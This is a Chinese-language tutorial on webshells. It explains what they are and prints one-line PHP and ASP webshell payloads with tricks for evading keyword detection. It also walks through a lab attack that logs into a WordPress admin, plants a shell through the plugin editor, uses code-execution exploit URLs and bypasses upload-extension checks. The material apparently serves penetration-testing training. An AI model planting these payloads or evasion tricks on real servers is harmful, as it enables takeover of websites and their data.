webshell 概念
web指的是在web服务器上,而shell是用脚本语言编写的脚本程序,WebShell是一种用来进行网站和服务器管理的脚本程序,webshell一般是被网站管理员用于网站管理、服务器管理等等一些用途,但是由于webshell的功能比较强大,可以上传下载文件,查看数据库,甚至可以调用一些服务器上系统的相关命令(比如创建用户,修改删除文件之类的),通常被黑客利用,黑客通过一些上传方式,将自己编写的webshell上传到web服务器的页面的目录下,攻击者通过上传WebShell获得Web服务器的管理权限,从而达到对网站服务器的渗透和控制。
从一个最简单的webshell结构可以看出其基本结构
cpp
"<?php eval($_POST['a']);?>"
shell的实现需要两步:数据的传递、执行所传递的数据。
Webshell的分类
- 根据文件大小分类:大马和小马(通常指的是一句话木马,能够使用菜刀这类工具去直接连接它)
- 根据脚本名称分类:jsp、asp、aspx、php
数据传递&绕过检测
对于数据传递,我们通常的做法是使用_GET、_POST、_SERVER、_COOKIE等获取客户端数据。但这类关键词如果直接出现的话,那么可以很容易回溯到,我们有几种方案来解决这个问题:
-
利用应用本身所在框架的输入封装来得到传递的数据
-
采取某种变通的方式来绕过检测,譬如使用{"_G"."ET"}。不过这种方式也有自身的缺点,可以跟踪"{";不过这种跟踪又可以通过"$/*a*/{"这种方式绕过(当然其又有被跟踪的可能性)。
-
使用其他数据获取方式来获取数据,譬如_REQUEST、GLOBALS["_GET"]、$_FILE等。
-
人为构造语言缺陷或应用漏洞,并且这种缺陷是不易察觉的,譬如伪造管理员session等 使用方法
直接上传一句话木马
举例:grade网站
找到数据库是asp格式的网站,然后,以留言板,或者发表文章的方式,把一句话
cpp<%execute request("value")%>
添加到asp数据库
举例:攻防对抗 http://192.168.7.40/
后台登录页面:http://192.168.7.40/wp-login.php
admin:iloveyou登录后台,修改插件文件来插入shell
然后菜刀链接:http://192.168.7.40/wp-admin/plugin-editor.php?plugin=hello.php
找到如命令执行漏洞页面,打开客户端浏览器,填上加入了一句话的asp文件,
举例:代码执行漏洞。
cppExp:/search.php?searchtype=5&tid=&area=phpinfo() /search.php?searchtype=5&tid=&area=eval($_POST[simple])
构造一句话小马,使用菜刀连接
WebShell攻击的原理
WebShell是黑客经常使用的一种恶意脚本,原理就是利用Web服务器自身的环境运行的恶意代码。从名字来看Web指的是网页服务,Shell指的是计算机程序运行的指令命令。这也揭示了WebShell的攻击方法,就是通过WebShell脚本的上传,利用网页服务程序实现操控服务器的一种方式。以PHP语言为例,只需要编写一个简单的PHP代码文件,上传到网站目录中,就可以对网站服务器进行操控,包括读取数据库、删除文件、修改主页等都可以做到。这么一个简单的语句就可以为黑客入侵打开一扇大门,让黑客可以随意地执行任意代码
Webshell上传绕过方法
(一)绕过前台脚本检测扩展名上传Webshell
当用户在客户端上传文件的时候,客户端与服务器没有进行任何的信息交互,判断上传文件的类型是前台脚本文件来判断。
白名单方式检测:允许jpg,png等文件上传,如果要上传php格式文件,可以后面加一个.jpg后缀,提交后用burp进行抓包拦截,把jpg后缀删除。
举例:
cpphttp://127.0.0.1/upload-labs/Pass-01/ burp
改后缀